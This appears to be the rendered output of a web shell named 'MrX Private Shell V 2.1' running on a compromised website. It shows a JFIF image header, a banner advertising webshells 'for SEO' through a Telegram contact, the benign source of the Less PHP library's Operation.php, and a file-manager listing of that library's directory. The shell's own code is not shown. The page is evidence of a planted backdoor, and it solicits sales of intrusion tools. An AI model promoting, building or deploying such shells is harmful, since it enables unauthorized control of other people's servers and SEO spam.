����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Operation
*
* @package Less
* @subpackage tree
*/
class Less_Tree_Operation extends Less_Tree{
public $op;
public $operands;
public $isSpaced;
public $type = 'Operation';
/**
* @param string $op
*/
public function __construct($op, $operands, $isSpaced = false){
$this->op = trim($op);
$this->operands = $operands;
$this->isSpaced = $isSpaced;
}
public function accept($visitor) {
$this->operands = $visitor->visitArray($this->operands);
}
public function compile($env){
$a = $this->operands[0]->compile($env);
$b = $this->operands[1]->compile($env);
if( Less_Environment::isMathOn() ){
if( $a instanceof Less_Tree_Dimension && $b instanceof Less_Tree_Color ){
$a = $a->toColor();
}elseif( $b instanceof Less_Tree_Dimension && $a instanceof Less_Tree_Color ){
$b = $b->toColor();
}
if( !method_exists($a,'operate') ){
throw new Less_Exception_Compiler("Operation on an invalid type");
}
return $a->operate( $this->op, $b);
}
return new Less_Tree_Operation($this->op, array($a, $b), $this->isSpaced );
}
/**
* @see Less_Tree::genCSS
*/
public function genCSS( $output ){
$this->operands[0]->genCSS( $output );
if( $this->isSpaced ){
$output->add( " " );
}
$output->add( $this->op );
if( $this->isSpaced ){
$output->add( ' ' );
}
$this->operands[1]->genCSS( $output );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Mixin | Folder | 0755 |
|
|
| Alpha.php | File | 832 B | 0644 |
|
| Anonymous.php | File | 1.07 KB | 0644 |
|
| Assignment.php | File | 721 B | 0644 |
|
| Attribute.php | File | 975 B | 0644 |
|
| Call.php | File | 2.83 KB | 0644 |
|
| Color.php | File | 5.12 KB | 0644 |
|
| Comment.php | File | 1.23 KB | 0644 |
|
| Condition.php | File | 1.46 KB | 0644 |
|
| DefaultFunc.php | File | 581 B | 0644 |
|
| DetachedRuleset.php | File | 822 B | 0644 |
|
| Dimension.php | File | 5.13 KB | 0644 |
|
| Directive.php | File | 2.03 KB | 0644 |
|
| Element.php | File | 1.48 KB | 0644 |
|
| Expression.php | File | 1.82 KB | 0644 |
|
| Extend.php | File | 1.93 KB | 0644 |
|
| Import.php | File | 8.21 KB | 0644 |
|
| Javascript.php | File | 542 B | 0644 |
|
| Keyword.php | File | 688 B | 0644 |
|
| Media.php | File | 4.27 KB | 0644 |
|
| NameValue.php | File | 1.3 KB | 0644 |
|
| Negative.php | File | 729 B | 0644 |
|
| Operation.php | File | 1.38 KB | 0644 |
|
| Paren.php | File | 577 B | 0644 |
|
| Quoted.php | File | 1.85 KB | 0644 |
|
| Rule.php | File | 3.1 KB | 0644 |
|
| Ruleset.php | File | 16.15 KB | 0644 |
|
| RulesetCall.php | File | 477 B | 0644 |
|
| Selector.php | File | 4.03 KB | 0644 |
|
| UnicodeDescriptor.php | File | 419 B | 0644 |
|
| Unit.php | File | 3.09 KB | 0644 |
|
| UnitConversions.php | File | 612 B | 0644 |
|
| Url.php | File | 1.75 KB | 0644 |
|
| Value.php | File | 794 B | 0644 |
|
| Variable.php | File | 1.2 KB | 0644 |
|